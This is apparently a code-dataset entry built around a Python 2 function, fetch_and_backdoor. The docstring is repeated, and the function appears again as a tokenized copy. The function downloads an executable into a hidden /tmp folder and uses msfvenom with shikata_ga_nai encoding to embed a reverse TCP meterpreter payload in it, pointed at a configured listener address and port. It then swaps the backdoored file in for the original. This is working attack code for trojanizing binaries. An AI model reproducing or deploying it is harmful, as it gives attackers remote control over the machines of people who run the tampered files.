(self, url)
Fetch the binary located at 'url' and backdoor
            it with a reverse tcp meterpreter

            True if backdoor is successful
            False if it fails for whatever reason
Fetch the binary located at 'url' and backdoor
            it with a reverse tcp meterpreter
Fetch the binary located at url and backdoor it with a reverse tcp meterpreter
def fetch_and_backdoor(self, url):
        """ Fetch the binary located at 'url' and backdoor
            it with a reverse tcp meterpreter

            True if backdoor is successful
            False if it fails for whatever reason
        """
        try:
            bd_filename = url.split('/')[-1]
            data = urllib2.urlopen(url, timeout=5)
            # stream the data to a file in chunks
            CHUNK = 16 * 1024
            with open('/tmp/.pe/%s' % bd_filename, 'wb') as f:
                for chunk in iter(lambda: data.read(CHUNK), ''):
                    if not chunk:
                        break
                    f.write(chunk)

            # msfvenom it
            util.init_app('msfvenom -p %s -f exe -e x86/shikata_ga_nai '
                          '-i 2 -k -x /tmp/.pe/%s LHOST=%s LPORT=%d > /tmp/.pe/_%s' \
                          % (self.config['payload'].opts[self.config['payload'].value-1],
                          bd_filename, config.get('ip_addr'), self.config['LPORT'].value,
                          bd_filename))
            util.init_app('mv /tmp/.pe/_%s /tmp/.pe/%s' % (bd_filename, bd_filename))

            return True
        except Exception, e:
            util.Error(e)
            return False
def fetch_and_backdoor ( self , url ) : try : bd_filename = url . split ( '/' ) [ - 1 ] data = urllib2 . urlopen ( url , timeout = 5 ) # stream the data to a file in chunks CHUNK = 16 * 1024 with open ( '/tmp/.pe/%s' % bd_filename , 'wb' ) as f : for chunk in iter ( lambda : data . read ( CHUNK ) , '' ) : if not chunk : break f . write ( chunk ) # msfvenom it util . init_app ( 'msfvenom -p %s -f exe -e x86/shikata_ga_nai ' '-i 2 -k -x /tmp/.pe/%s LHOST=%s LPORT=%d > /tmp/.pe/_%s' % ( self . config [ 'payload' ] . opts [ self . config [ 'payload' ] . value - 1 ] , bd_filename , config . get ( 'ip_addr' ) , self . config [ 'LPORT' ] . value , bd_filename ) ) util . init_app ( 'mv /tmp/.pe/_%s /tmp/.pe/%s' % ( bd_filename , bd_filename ) ) return True except Exception , e : util . Error ( e ) return False